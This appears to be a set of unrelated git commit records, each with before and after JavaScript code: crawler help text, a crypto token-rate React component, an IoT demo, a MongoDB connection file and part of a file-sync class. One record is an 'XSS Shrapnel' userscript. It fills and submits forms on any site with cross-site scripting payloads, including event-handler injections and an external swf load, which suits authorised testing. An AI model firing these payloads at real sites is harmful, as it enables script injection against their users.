	follow_links: 'Links that match any of the regular expressions in this list will be followed (they should also be in the domain of one of the start URLs).',
	exclude_links: 'Links that match any of the regular expressions in this list will be excluded.',
	perform_login: 'Select this option if the site you are crawling requires login credentials.',
	template_required: 'This setting is equivalent to marking the fields as required in the item definition, but limiting the scope to this template only.',
	extractors: 'With regular expression extractors, the extracted data is matched against the specified expression and replaced by the match group enclosed between parentheses. If there is no match, the field is not extracted.',
	select_item: 'You can choose what item type is extracted by this template using the combobox. You can also create and modify items by clicking on the Edit Items button.',
	variant: 'Describe how variants work here.',
	ignored_subregions: 'Allows you to define subregions that should be excluded from the extraction process.',
	selected_region_ancestors: 'Refine your selection by navigating its ancestors.',
	selected_region_children: 'Refine your selection by navigating its children.',
	sticky_fields: 'Required attributes are not extracted, but they must be present for a page to match the template.',
	annotation_widget: 'Select the attribute you want to extract and an item field to map it. You can add new fields by selecting -create new-. Choose -just required- to indicate that the template must match a particular feature without generating any extracted data.',
});<commit_msg>- Updated inline help.<commit_after>ASTool.Messages = Ember.Namespace.create({
	overlay_blocked_links: 'Enable this options to highlight links not followed at crawl time in red and followed links in green.',
	follow_links: 'Links that match any of the regular expressions in this list will be followed (they should also be in the domain of one of the start URLs).',
	exclude_links: 'Links that match any of the regular expressions in this list will be excluded.',
	perform_login: 'Select this option if the site you are crawling requires login credentials.',
	template_required: 'This setting is equivalent to marking the fields as required in the item definition, but limiting the scope to this template only.',
	extractors: 'With regular expression extractors, the extracted data is matched against the specified expression and replaced by the match group enclosed between parentheses. If there is no match, the field is not extracted.',
	select_item: 'You can choose what item type is extracted by this template using the combobox. You can also create and modify items by clicking on the Edit Items button.',
	variant: 'Describe how variants work here.',
	ignored_subregions: 'Allows you to define subregions that should be excluded from the extraction process.',
	selected_region_ancestors: 'Refine your selection by navigating its ancestors.',
	selected_region_children: 'Refine your selection by navigating its children.',
	sticky_fields: 'Required attributes are not extracted, but they must be present for a page to match the template.',
	annotation_widget: 'Select the attribute you want to extract and an item field to map it. You can add new fields by selecting -create new-. Choose -just required- to indicate that the template must match a particular feature without generating any extracted data.',
});<|endoftext|>


<commit_before>import React from "react"
import { connect } from "react-redux"
import { roundingNumber, convertBuyRate } from "../../utils/converter"
import * as actions from "../../actions/exchangeActions"
import { getTranslate } from 'react-localize-redux';
import * as converter from '../../utils/converter'
import * as constants from '../../services/constants'
import ReactTooltip from 'react-tooltip'

@connect((store, props) => {
  var tokens = store.tokens.tokens
  var exchange = store.exchange
  var rateEthUsd = tokens.ETH.rateUSD

  var rateUSD = 0
  if (exchange.sourceTokenSymbol === "ETH") {
    rateUSD = tokens[exchange.sourceTokenSymbol].rateUSD
  } else {
    var rateTokenETH = converter.toT(tokens[exchange.sourceTokenSymbol].rate, 18)
    rateUSD = rateTokenETH * rateEthUsd
  }

  return {
    ...props,
    translate: getTranslate(store.locale), rateEthUsd, rateUSD, tokens,
    exchange
  }
})

export default class RateBetweenToken extends React.Component {
  compareRate = () => {
    const sourceToken = this.props.exchange.sourceTokenSymbol
    const destToken = this.props.exchange.destTokenSymbol
    const isSourceTokenETH = sourceToken === "ETH";

    if (this.props.exchange.isSelectToken) {
      if (isSourceTokenETH) {
        return (

            1 {destToken} =  ETH

        )
      }

      return (

          1 {sourceToken} =  {this.props.exchange.destTokenSymbol}

      )
    }

    var expectedRate = converter.toT(this.props.exchange.offeredRate)
    var tokens = this.props.tokens
    var change = this.props.exchange.percentChange
    var rateUSD = !!parseFloat(this.props.rateUSD) ? parseFloat(this.props.rateUSD) : 0
    let tokenRateText;

    if (isSourceTokenETH) {
      const tokenETHBuyRate = convertBuyRate(this.props.tokens[destToken].rateEth);
      const tokenUSDBuyRate = tokenETHBuyRate * this.props.rateEthUsd;

      tokenRateText = 1 {destToken} = {roundingNumber(tokenETHBuyRate)} ETH {tokenUSDBuyRate ? `= ${tokenUSDBuyRate.toFixed(3)} USD` : ""}
    } else {
      tokenRateText = 1 {sourceToken} = {roundingNumber(expectedRate)} {this.props.exchange.destTokenSymbol} {rateUSD != 0 ? `= ${rateUSD.toFixed(3)} USD` : ""}
    }

    if (change == 0) {
      return (
{tokenRateText}
)
    }

    return (

        {tokenRateText}

          {change}%

        <span className="token-compare__tooltip" data-html={true} data-tip={`<p>Price is dependent on your swap value. There is a ${change}% difference in price for the requested quantity and the default ${constants.MIN_AMOUNT_DEFAULT_RATE} ETH quantity</p>`} data-for="info_indicator" currentitem="false">

        <ReactTooltip place="top" offset={{left:95}} id="info_indicator" className={"common-tooltip"} type="light" html={true}/>

    )
  }

  render = () => {
    return (

        {this.compareRate()}

    )
  }
}
<commit_msg>get rate from exchange instead of token<commit_after>import React from "react"
import { connect } from "react-redux"
import { roundingNumber, convertBuyRate } from "../../utils/converter"
import * as actions from "../../actions/exchangeActions"
import { getTranslate } from 'react-localize-redux';
import * as converter from '../../utils/converter'
import * as constants from '../../services/constants'
import ReactTooltip from 'react-tooltip'

@connect((store, props) => {
  var tokens = store.tokens.tokens
  var exchange = store.exchange
  var rateEthUsd = tokens.ETH.rateUSD

  var rateUSD = 0
  if (exchange.sourceTokenSymbol === "ETH") {
    rateUSD = tokens[exchange.sourceTokenSymbol].rateUSD
  } else {
    var rateTokenETH = converter.toT(tokens[exchange.sourceTokenSymbol].rate, 18)
    rateUSD = rateTokenETH * rateEthUsd
  }

  return {
    ...props,
    translate: getTranslate(store.locale), rateEthUsd, rateUSD, tokens,
    exchange
  }
})

export default class RateBetweenToken extends React.Component {
  compareRate = () => {
    const sourceToken = this.props.exchange.sourceTokenSymbol
    const destToken = this.props.exchange.destTokenSymbol
    const isSourceTokenETH = sourceToken === "ETH";

    if (this.props.exchange.isSelectToken) {
      if (isSourceTokenETH) {
        return (

            1 {destToken} =  ETH

        )
      }

      return (

          1 {sourceToken} =  {this.props.exchange.destTokenSymbol}

      )
    }

    var expectedRate = converter.toT(this.props.exchange.offeredRate)
    var tokens = this.props.tokens
    var change = this.props.exchange.percentChange
    var rateUSD = !!parseFloat(this.props.rateUSD) ? parseFloat(this.props.rateUSD) : 0
    let tokenRateText;

    if (isSourceTokenETH && this.props.exchange.offeredRate) {
      const tokenETHBuyRate = convertBuyRate(this.props.exchange.offeredRate);
      const tokenUSDBuyRate = tokenETHBuyRate * this.props.rateEthUsd;

      tokenRateText = 1 {destToken} = {roundingNumber(tokenETHBuyRate)} ETH {tokenUSDBuyRate ? `= ${tokenUSDBuyRate.toFixed(3)} USD` : ""}
    } else {
      tokenRateText = 1 {sourceToken} = {roundingNumber(expectedRate)} {this.props.exchange.destTokenSymbol} {rateUSD != 0 ? `= ${rateUSD.toFixed(3)} USD` : ""}
    }

    if (change == 0) {
      return (
{tokenRateText}
)
    }

    return (

        {tokenRateText}

          {change}%

        <span className="token-compare__tooltip" data-html={true} data-tip={`<p>Price is dependent on your swap value. There is a ${change}% difference in price for the requested quantity and the default ${constants.MIN_AMOUNT_DEFAULT_RATE} ETH quantity</p>`} data-for="info_indicator" currentitem="false">

        <ReactTooltip place="top" offset={{left:95}} id="info_indicator" className={"common-tooltip"} type="light" html={true}/>

    )
  }

  render = () => {
    return (

        {this.compareRate()}

    )
  }
}
<|endoftext|>


<commit_before>// ==UserScript==
// @name        XSS Shrapnel
// @namespace   *
// @description aaa"bbb'ccc<ddd>zzz
// @include     *
// @version     2.4
// @grant       none
// ==/UserScript==

var bForceUrlEncoded = 1
var bFillHiddenForms = 0

var iPayload = 0

var aPayloads = ['aaa"bbb\'{{3*3}}<ddd>zzz',
		 'aaa"{{3*3}}\'zzz',
		 'aaa"{{3*3}}zzz',
		 'aaa\\"bbb\\\'>ccc<<ddd>ddd<ddd>>zzz<fff',
		 'aaa\\"bbb\\\'ccc<ddd >zzz</fff>',
		 '</title></textarea>aaa"bbb\'ccc<ddd>zzz',
		 'aaa"><svg onload=alert(document.domain)>zzz',
		 'aaa" autofocus onfocus="alert(document.domain)"zzz',
		 'aaa" onmouseover="alert(document.domain)"zzz',
		 'aaa" accesskey=x onclick="alert(document.domain)"zzz',
		 'aaa\'-alert(document.domain)-\'zzz',
		 'aaa"-alert(document.domain)-"zzz',
		 'aaa"><video src onratechange=prompt(document.domain)>zzz',
		 'aaa"><xxx onbeforescriptexecute=prompt(document.domain)>zzz',
		 'aaa"><object allowscriptaccess=always data=http://spqr.zz.mu/xss.swf>zzz',
		 'aaa"><meta http-equiv=refresh content="0;URL=http://youtu.be/dQw4w9WgXcQ">zzz',
		 'aaa"><form action=data:xxx;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>zzz',
		 'aaa">XSSzzz']

var regex = /.{0,100}aaa.{0,130}?zzz.{0,100}/gi

window.addEventListener
(
	'keydown',
	function (e)
	{
		if (e.altKey || e.modifiers)
		{
			if (e.keyCode == 72)
			{
				var sPrompt = prompt ('Fill hidden forms?', bFillHiddenForms)

				sPrompt === null || (bFillHiddenForms = parseInt (sPrompt))
			}

			if (e.keyCode == 80)
			{
				var sPrompt = prompt ('Set payload', iPayload)

				if (sPrompt !== null)
				{
					if (isNaN (+sPrompt))
					{
						iPayload = InArray (aPayloads, sPrompt)

						if (iPayload == -1)
						{
							aPayloads.push (sPrompt)

							iPayload = aPayloads.indexOf (sPrompt)
						}
					}
					else
						iPayload = parseInt (sPrompt) % aPayloads.length
				}

				prompt ('Payload', aPayloads [iPayload])
			}

			if (e.target.form)
			{
				var parentForm = e.target.form

				e.keyCode == 83 && submitForm (parentForm)
				e.keyCode == 65 && fillForm (parentForm) && submitForm (parentForm)
			}

			if (e.keyCode == 70)
				fillForms ()

			if (e.keyCode == 82)
				checkResults ()
		}
	},
	false
)

window.addEventListener ('DOMContentLoaded', checkResults, false)
window.addEventListener ('load', checkResults, false)

function checkResults ()
{
	var matches = document.getElementsByTagName ('html') [0].innerHTML.match (regex)

	if (matches instanceof Array)
	{
		matches = matches.join ('\r\n\r\n').split (/([\s\S]{10000})/)

		matches.forEach (function (i) {i && alert (i)})
	}
}

function fillForms ()
{
	for (var i = 0; i < document.forms.length; i++)
	{
		var form = document.forms [i]

		form.target = '_blank'

		fillForm (form) && submitForm (form)
	}
}

function submitForm (form)
{
	var aPostData = []

	for (var i = 0; i < form.length; i++)
	{
		var sPostData = encodeURIComponent (form [i].name) + '=' + encodeURIComponent (form [i].value)

		form [i].name && aPostData.indexOf (sPostData) == -1 && aPostData.push (sPostData)
	}

	bForceUrlEncoded && (form.enctype = 'application/x-www-form-urlencoded')

	//	var sFormAction = form.getAttribute ('action')
	//
	//	if (!/^https?:\/\//.test (sFormAction))
	//		sFormAction = /\/\//.test (sFormAction) ? location.protocol + sFormAction : location.origin + sFormAction

	var sFormAction = form.action ? form.action : location.origin + location.pathname
	var sDelimeter = form.getAttribute ('method').toLowerCase () == 'post' ? '\r\n\r\n' : '?'

	var sFormData = sFormAction + sDelimeter + aPostData.join ('&')

	confirm (sFormData) && HTMLFormElement.prototype.submit.call (form)
}

function fillForm (form)
{
	for (var i = 0; i < form.length; i++)
	{
		var element = form [i]
		var payload = aPayloads [iPayload]

		if (element.tagName == 'SELECT' || element.type == 'file')
		{
			element.outerHTML = '<input name="' + htmlEncode (element.name) + '" value="' + htmlEncode (payload) + '" />'

			continue
		}

		if (!bFillHiddenForms && element.type == 'hidden')
			continue

		element.value = payload
	}

	return 1
}

function htmlEncode (str)
{
	return str.replace (/</g, '<').replace (/>/g, '>').replace (/"/g, '"').replace (/'/g, ''')
}

function InArray (arr, elem)
{
	for (var i = 0; i < arr.length; i++)
		if (arr [i].indexOf (elem) + 1)
			return i

	return -1
}
<commit_msg>Update xss-shrapnel.js<commit_after>// ==UserScript==
// @name        XSS Shrapnel
// @namespace   *
// @description aaa"bbb'ccc<ddd>zzz
// @include     *
// @version     2.5
// @grant       none
// ==/UserScript==

var bForceUrlEncoded = 1
var bFillHiddenForms = 0

var iPayload = 0

var aPayloads = ['aaa"bbb\'{{3*3}}<ddd>zzz',
		 'aaa"{{3*3}}\'zzz',
		 'aaa"{{3*3}}zzz',
		 'aaa\\"bbb\\\'>ccc<<ddd>ddd<ddd>>zzz<fff',
		 'aaa\\"bbb\\\'ccc<ddd >zzz</fff>',
		 '</title></textarea>aaa"bbb\'ccc<ddd>zzz',
		 'aaa"><svg onload=alert(document.domain)>zzz',
		 'aaa" autofocus onfocus="alert(document.domain)"zzz',
		 'aaa" onmouseover="alert(document.domain)"zzz',
		 'aaa" accesskey=x onclick="alert(document.domain)"zzz',
		 'aaa\'-alert(document.domain)-\'zzz',
		 'aaa"-alert(document.domain)-"zzz',
		 'aaa"><video src onratechange=prompt(document.domain)>zzz',
		 'aaa"><xxx onbeforescriptexecute=prompt(document.domain)>zzz',
		 'aaa"><object allowscriptaccess=always data=http://spqr.zz.mu/xss.swf>zzz',
		 'aaa"><meta http-equiv=refresh content="0;URL=http://youtu.be/dQw4w9WgXcQ">zzz',
		 'aaa"><form action=data:xxx;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>zzz',
		 'aaa">XSSzzz']

var regex = /.{0,100}aaa.{0,130}?zzz.{0,100}/gi

window.addEventListener
(
	'keydown',
	function (e)
	{
		if (e.altKey || e.modifiers)
		{
			if (e.keyCode == 72)
			{
				var sPrompt = prompt ('Fill hidden forms?', bFillHiddenForms)

				sPrompt === null || (bFillHiddenForms = parseInt (sPrompt))
			}

			if (e.keyCode == 80)
			{
				var sPrompt = prompt ('Set payload', iPayload)

				if (sPrompt !== null)
				{
					if (isNaN (+sPrompt))
					{
						iPayload = InArray (aPayloads, sPrompt)

						if (iPayload == -1)
						{
							aPayloads.push (sPrompt)

							iPayload = aPayloads.indexOf (sPrompt)
						}
					}
					else
						iPayload = parseInt (sPrompt) % aPayloads.length
				}

				prompt ('Payload', aPayloads [iPayload])
			}

			if (e.target.form)
			{
				var parentForm = e.target.form

				e.keyCode == 83 && submitForm (parentForm)
				e.keyCode == 65 && fillForm (parentForm) && submitForm (parentForm)
			}

			if (e.keyCode == 70)
				fillForms ()

			if (e.keyCode == 82)
				checkResults ()
		}
	},
	false
)

window.addEventListener ('DOMContentLoaded', checkResults, false)
window.addEventListener ('load', checkResults, false)

function checkResults ()
{
	var matches = document.getElementsByTagName ('html') [0].innerHTML.match (regex)

	if (matches instanceof Array)
	{
		matches = matches.join ('\r\n\r\n').split (/([\s\S]{10000})/)

		matches.forEach (function (i) {i && alert (i)})
	}
}

function fillForms ()
{
	for (var i = 0; i < document.forms.length; i++)
	{
		var form = document.forms [i]

		form.target = '_blank'

		fillForm (form) && submitForm (form)
	}
}

function submitForm (form)
{
	var aPostData = []

	for (var i = 0; i < form.length; i++)
	{
		var sPostData = encodeURIComponent (form [i].name) + '=' + encodeURIComponent (form [i].value)

		form [i].name && aPostData.indexOf (sPostData) == -1 && aPostData.push (sPostData)
	}

	bForceUrlEncoded && (form.enctype = 'application/x-www-form-urlencoded')

	//	var sFormAction = form.getAttribute ('action')
	//
	//	if (!/^https?:\/\//.test (sFormAction))
	//		sFormAction = /\/\//.test (sFormAction) ? location.protocol + sFormAction : location.origin + sFormAction

	var sFormAction = form.action ? form.action : location.origin + location.pathname
	var sDelimeter = form.getAttribute ('method').toLowerCase () == 'post' ? '\r\n\r\n' : '?'

	var sFormData = sFormAction + sDelimeter + aPostData.join ('&')

	confirm (sFormData) && HTMLFormElement.prototype.submit.call (form)
}

function fillForm (form)
{
	for (var i = 0; i < form.length; i++)
	{
		var element = form [i]
		var payload = aPayloads [iPayload]

		if (element.tagName == 'SELECT' || element.type == 'file')
		{
			element.outerHTML = '<input name="' + htmlEncode (element.name) + '" value="' + htmlEncode (payload) + '" />'

			continue
		}

		if (!bFillHiddenForms && element.type == 'hidden')
			continue

		element.value = payload
	}

	return 1
}

function htmlEncode (str)
{
	return str.replace (/</g, '<').replace (/>/g, '>').replace (/"/g, '"').replace (/'/g, ''')
}

function InArray (arr, elem)
{
	for (var i = 0; i < arr.length; i++)
		if (arr [i].indexOf (elem) + 1)
			return i

	return -1
}
<|endoftext|>


<commit_before>const LED_GREEN = 1, LED_OFF = 0, SWITCH_ON = 'on', SWITCH_OFF = 'off'

var gui = require( '../../' )     // stand alone: replace with  require( 'easy-web-app' )
var log = require( 'npmlog' )

// Initialize the framework and the default page
gui.init( 'I/O', 8889 )

// create a IO view on page
var ioView = gui.addIoView()

// change update speed to 1 sec (= 1000 ms)
ioView.setUpdateMilliSec( 10000 )
ioView.setBackgroundImage(  __dirname + '/demo.png' )

// add a 'LED' at x/y 100px/100px and switch it to 'on' (=1)
var led = LED_GREEN
ioView.addLED( 'myFirstLED', 300, 210, led )

ioView.addSwitch(
    'mySwitch',                   // the ID
    60, 85,                       // x,y pos of switch
    [ SWITCH_ON, SWITCH_OFF ],    // possible values
    function ( switchValue ) {
      log.info( 'Switch "mySwitch"', 'now %j', switchValue );
      if ( switchValue == SWITCH_ON ) {
        ioView.setLED( 'myFirstLED', LED_GREEN );
      } else {
        ioView.setLED( 'myFirstLED', LED_OFF );
      }
    }
)

var label = ioView.addStaticLabel( 'by MA-HA', 200, 10 )
label.font = "10px Courier"

ioView.addIoElementConfig(
  { id: 'lX0', type: 'Label', label: '2016',
    pos: { x: '200', y: '22' }, font: '10px Courier' }
)

var btnON = false
function btnPressCallback( val, id ) {
  gui.io[ ioView.ioId ][ id ].value = ( btnON ? 'OFF' : 'ON' )
  btnON = !btnON
  log.info( 'btnPressCallback' , 'id='+id+' '+gui.io[ ioView.ioId ][ id ].value)
}

ioView.addIoElementConfig(
  { id: "btn", type: "Button", label: "press me",
    width: "100", height: "25",
    pos: { x: '5', y: '300' },
    values: [
      { buttonState: "ON",  led: "1" },
      { buttonState: "OFF", led: "0" }
    ]
  },
  btnPressCallback
)

// add graph w/o data
ioView.addIoElementConfig(
  {
      id:"advGraph",
      type:"Graph",
      width:"500", "height":"300",
      layout:{
          name:"AD data [V]",
          graphType:"timeLog",
          colors:{
              A0:"#9d5fc6",A1:"#c69d5f",
              A2:"#c65fc6",A3:"#5f88c6",
              A4:"#c65f88",A5:"#88c65f" },
          yAxis:{
              axisType:"logarithmic",
              min:"0.8", max:"10",
              labels:["1","10"],
              grid:['1','2','3','4','5','6','7','8','9','10']
          },
          xAxis:{ axisType:"time", labelCnt:'5', gridColor:'#EEE' }
      },
      pos:{ x:"400", y:"20" }
    }
)
var advGraph = []
for ( var i=0; i<6; i++ ) {
    //advGraph.push( { name: 'A' + i, cnt: 0, data: [] } )
    advGraph.push(
      { name: 'A' + i,
        cnt: Date.now() - 1000000, // just a helper to generate the time line
        data: [] }
    )
    for ( var j=0; j<500; j++ ) { // fill up with 500 values, to permit streching
        advGraph[i].data.push( [ advGraph[i].cnt, i+2.2+ Math.random()/2 ] ) //add some dummy data => i+1
        advGraph[i].cnt = advGraph[i].cnt + 2000
    }
}
// add data for gui elmenet with id="advGraph"
gui.io[ ioView.ioId ]['advGraph'] = advGraph

log.info('>', ioView.moduleConfig.io )<commit_msg>port again 8888<commit_after>const LED_GREEN = 1, LED_OFF = 0, SWITCH_ON = 'on', SWITCH_OFF = 'off'

var gui = require( '../../' )     // stand alone: replace with  require( 'easy-web-app' )
var log = require( 'npmlog' )

// Initialize the framework and the default page
gui.init( 'I/O' )

// create a IO view on page
var ioView = gui.addIoView()

// change update speed to 1 sec (= 1000 ms)
ioView.setUpdateMilliSec( 10000 )
ioView.setBackgroundImage(  __dirname + '/demo.png' )

// add a 'LED' at x/y 100px/100px and switch it to 'on' (=1)
var led = LED_GREEN
ioView.addLED( 'myFirstLED', 300, 210, led )

ioView.addSwitch(
    'mySwitch',                   // the ID
    60, 85,                       // x,y pos of switch
    [ SWITCH_ON, SWITCH_OFF ],    // possible values
    function ( switchValue ) {
      log.info( 'Switch "mySwitch"', 'now %j', switchValue );
      if ( switchValue == SWITCH_ON ) {
        ioView.setLED( 'myFirstLED', LED_GREEN );
      } else {
        ioView.setLED( 'myFirstLED', LED_OFF );
      }
    }
)

var label = ioView.addStaticLabel( 'by MA-HA', 200, 10 )
label.font = "10px Courier"

ioView.addIoElementConfig(
  { id: 'lX0', type: 'Label', label: '2016',
    pos: { x: '200', y: '22' }, font: '10px Courier' }
)

var btnON = false
function btnPressCallback( val, id ) {
  gui.io[ ioView.ioId ][ id ].value = ( btnON ? 'OFF' : 'ON' )
  btnON = !btnON
  log.info( 'btnPressCallback' , 'id='+id+' '+gui.io[ ioView.ioId ][ id ].value)
}

ioView.addIoElementConfig(
  { id: "btn", type: "Button", label: "press me",
    width: "100", height: "25",
    pos: { x: '5', y: '300' },
    values: [
      { buttonState: "ON",  led: "1" },
      { buttonState: "OFF", led: "0" }
    ]
  },
  btnPressCallback
)

// add graph w/o data
ioView.addIoElementConfig(
  {
      id:"advGraph",
      type:"Graph",
      width:"500", "height":"300",
      layout:{
          name:"AD data [V]",
          graphType:"timeLog",
          colors:{
              A0:"#9d5fc6",A1:"#c69d5f",
              A2:"#c65fc6",A3:"#5f88c6",
              A4:"#c65f88",A5:"#88c65f" },
          yAxis:{
              axisType:"logarithmic",
              min:"0.8", max:"10",
              labels:["1","10"],
              grid:['1','2','3','4','5','6','7','8','9','10']
          },
          xAxis:{ axisType:"time", labelCnt:'5', gridColor:'#EEE' }
      },
      pos:{ x:"400", y:"20" }
    }
)
var advGraph = []
for ( var i=0; i<6; i++ ) {
    //advGraph.push( { name: 'A' + i, cnt: 0, data: [] } )
    advGraph.push(
      { name: 'A' + i,
        cnt: Date.now() - 1000000, // just a helper to generate the time line
        data: [] }
    )
    for ( var j=0; j<500; j++ ) { // fill up with 500 values, to permit streching
        advGraph[i].data.push( [ advGraph[i].cnt, i+2.2+ Math.random()/2 ] ) //add some dummy data => i+1
        advGraph[i].cnt = advGraph[i].cnt + 2000
    }
}
// add data for gui elmenet with id="advGraph"
gui.io[ ioView.ioId ]['advGraph'] = advGraph

log.info('>', ioView.moduleConfig.io )<|endoftext|>


<commit_before>var mongoose = require("mongoose");

mongoose.connect("mongodb://localhost/whatsup", function () {
    console.log("mongodb connected");
});

module.exports = mongoose;
<commit_msg>Configure mongodb URL<commit_after>var mongoose = require("mongoose");

var url = process.env.MONGOLAB_URI || "mongodb://localhost/whatsup";

mongoose.connect(url, function () {
    console.log("mongodb connected");
});

module.exports = mongoose;
<|endoftext|>


<commit_before>/* @flow */

const autoBind = require('auto-bind')
const { clone } = require('lodash')
const { join } = require('path')

const logger = require('./logger')
const { assignId, ensureValidChecksum, ensureValidPath } = require('./metadata')
const { TRASH_DIR_NAME } = require('./remote/constants')

/*::
import type Config from './config'
import type { Ignore } from './ignore'
import type Merge from './merge'
import type { SideName, Metadata, RemoteRevisionsByID } from './metadata'
*/

const log = logger({
  component: 'Prep'
})

// When the local filesystem or the remote cozy detects a change, it calls this
// class to inform it. This class will check this event, add some informations,
// and give it to merge, so it can be saved in pouchdb.
//
// The documents in PouchDB have similar informations of those in CouchDB, but
// are not structured in the same way. In particular, the _id are uuid in CouchDB
// and the path to the file/folder (in a normalized form) in PouchDB.
class Prep {
  /*::
  merge : Merge
  ignore : Ignore
  config : Config
  */

  constructor (merge /*: Merge */, ignore /*: Ignore */, config /*: Config */) {
    this.merge = merge
    this.ignore = ignore
    this.config = config

    autoBind(this)
  }

  /* Actions */

  // Expectations:
  //   - the file path is present and valid
  //   - the checksum is valid, if present
  async addFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'addFileAsync')
    ensureValidPath(doc)
    ensureValidChecksum(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.addFileAsync(side, doc)
  }

  // Expectations:
  //   - the file path is present and valid
  //   - the checksum is valid, if present
  async updateFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'updateFileAsync')
    ensureValidPath(doc)
    ensureValidChecksum(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.updateFileAsync(side, doc)
  }

  // Expectations:
  //   - the folder path is present and valid
  async putFolderAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'putFolderAsync')
    ensureValidPath(doc)

    doc.docType = 'folder'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.putFolderAsync(side, doc)
  }

  // Expectations:
  //   - the new file path is present and valid
  //   - the old file path is present and valid
  //   - the checksum is valid, if present
  //   - the two paths are not the same
  //   - the revision for the old file is present
  async moveFileAsync (side /*: SideName */, doc /*: Metadata */, was /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'moveFileAsync')
    const {path} = doc
    ensureValidPath(doc)
    ensureValidPath(was)
    ensureValidChecksum(doc)

    if (doc.path === was.path) {
      const msg = 'Invalid move'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    } else if (!was._rev) {
      const msg = 'Missing rev'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    } else {
      return this.doMoveFile(side, doc, was)
    }
  }

  doMoveFile (side /*: SideName */, doc /*: Metadata */, was /*: Metadata */) {
    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    let docIgnored = this.ignore.isIgnored(doc)
    let wasIgnored = this.ignore.isIgnored(was)
    if ((side === 'local') && docIgnored && wasIgnored) { return }
    if ((side === 'local') && docIgnored) {
      return this.merge.deleteFileAsync(side, was)
    } else if ((side === 'local') && wasIgnored) {
      return this.merge.addFileAsync(side, doc)
    } else {
      return this.merge.moveFileAsync(side, doc, was)
    }
  }

  // Expectations:
  //   - the new folder path is present and valid
  //   - the old folder path is present and valid
  //   - the two paths are not the same
  //   - the revision for the old folder is present
  async moveFolderAsync (side /*: SideName */, doc /*: Metadata */, was /*: Metadata */, newRemoteRevs /*: ?RemoteRevisionsByID */) {
    log.debug({path: doc.path, oldpath: was.path}, 'moveFolderAsync')
    const {path} = doc
    ensureValidPath(doc)
    ensureValidPath(was)
    if (doc.path === was.path) {
      const msg = 'Invalid move'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    }

    if (!was._rev) {
      const msg = 'Missing rev'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    }

    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    let docIgnored = this.ignore.isIgnored(doc)
    let wasIgnored = this.ignore.isIgnored(was)
    if ((side === 'local') && docIgnored && wasIgnored) { return }
    if ((side === 'local') && docIgnored) {
      return this.merge.deleteFolderAsync(side, was)
    } else if ((side === 'local') && wasIgnored) {
      return this.merge.putFolderAsync(side, doc)
    } else {
      return this.merge.moveFolderAsync(side, doc, was, newRemoteRevs)
    }
  }

  // TODO add comments + tests
  async restoreFileAsync (side /*: SideName */, was /*: Metadata */, doc /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'restoreFileAsync')
    ensureValidPath(doc)
    ensureValidPath(was)
    ensureValidChecksum(doc)

    delete doc.trashed
    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.restoreFileAsync(side, was, doc)
  }

  // TODO add comments + tests
  async restoreFolderAsync (side /*: SideName */, was /*: Metadata */, doc /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'restoreFolderAsync')
    ensureValidPath(doc)
    ensureValidPath(was)

    delete doc.trashed
    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.restoreFolderAsync(side, was, doc)
  }

  // TODO add comments + tests
  async trashFileAsync (side /*: SideName */, was /*: {path: string} */, doc /*: ?Metadata */) {
    log.debug({path: doc && doc.path, oldpath: was.path}, 'trashFileAsync')
    ensureValidPath(was)

    if (!doc) {
      doc = clone(was)
      doc.path = join(TRASH_DIR_NAME, was.path)
    }

    ensureValidPath(doc)

    doc.trashed = true
    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.trashFileAsync(side, was, doc)
  }

  // TODO add comments + tests
  async trashFolderAsync (side /*: SideName */, was /*: {path: string} */, doc /*: ?Metadata */) {
    log.debug({path: doc && doc.path, oldpath: was.path}, 'trashFolderAsync')
    ensureValidPath(was)

    if (!doc) {
      doc = clone(was)
      doc.path = join(TRASH_DIR_NAME, was.path)
    }

    ensureValidPath(doc)

    doc.trashed = true
    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.trashFolderAsync(side, was, doc)
  }

  // Expectations:
  //   - the file path is present and valid
  async deleteFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'deleteFileAsync')
    ensureValidPath(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.deleteFileAsync(side, doc)
  }

  // Expectations:
  //   - the folder path is present and valid
  async deleteFolderAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'deleteFolderAsync')
    ensureValidPath(doc)

    doc.docType = 'folder'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.deleteFolderAsync(side, doc)
  }
}

module.exports = Prep
<commit_msg>core/prep: Merge#doMoveFile() into #moveFileAsync() (#1286)<commit_after>/* @flow */

const autoBind = require('auto-bind')
const { clone } = require('lodash')
const { join } = require('path')

const logger = require('./logger')
const { assignId, ensureValidChecksum, ensureValidPath } = require('./metadata')
const { TRASH_DIR_NAME } = require('./remote/constants')

/*::
import type Config from './config'
import type { Ignore } from './ignore'
import type Merge from './merge'
import type { SideName, Metadata, RemoteRevisionsByID } from './metadata'
*/

const log = logger({
  component: 'Prep'
})

// When the local filesystem or the remote cozy detects a change, it calls this
